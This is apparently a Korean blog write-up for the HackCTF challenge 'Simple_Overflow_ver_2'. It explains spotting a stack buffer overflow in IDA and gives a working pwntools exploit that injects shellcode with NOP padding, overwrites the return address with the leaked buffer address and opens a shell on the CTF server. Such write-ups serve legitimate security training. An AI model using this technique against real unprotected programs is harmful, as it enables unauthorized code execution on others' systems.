해킹/writeup
5. HackCTF - Simple_Overflow_ver_2
rmagur1203
2021. 7. 11. 14:33
취약점을 찾기 위해 IDA 로 뜯어보면
이렇게 나온다.
C 코드만 보고 한번에 알아내긴 힘드니까 한번 실행해본다.
실행 결과랑 코드를 같이 봐 보면
입력받은 값을 s 배열에 저장해서 주소값과 함께 출력하는것 같다.
보호기법도 적용되어 있지 않으니 s 에 쉘코드를 넣고 빈 부분을 \x90 으로 채운 뒤 RET에 s의 주소를 넣어주면 되겠다.
그래서 코드를 짜 보면
from pwn import *
#r = process("./Simple_overflow_ver_2")
r = remote("ctf.j0n9hyun.xyz", 3006)
context(arch='i386', os='linux')
shell = asm(shellcraft.i386.linux.sh())
print(r.recvuntil(": "))
r.sendline("test")
addr = int(r.recv(8+2), 16)
r.sendline('y')
payload = shell
payload += b'\x90'*(0x88 + 4 - len(shell))
payload += p32(addr)
r.sendline(payload)
r.interactive()
이렇게 된다.
728x90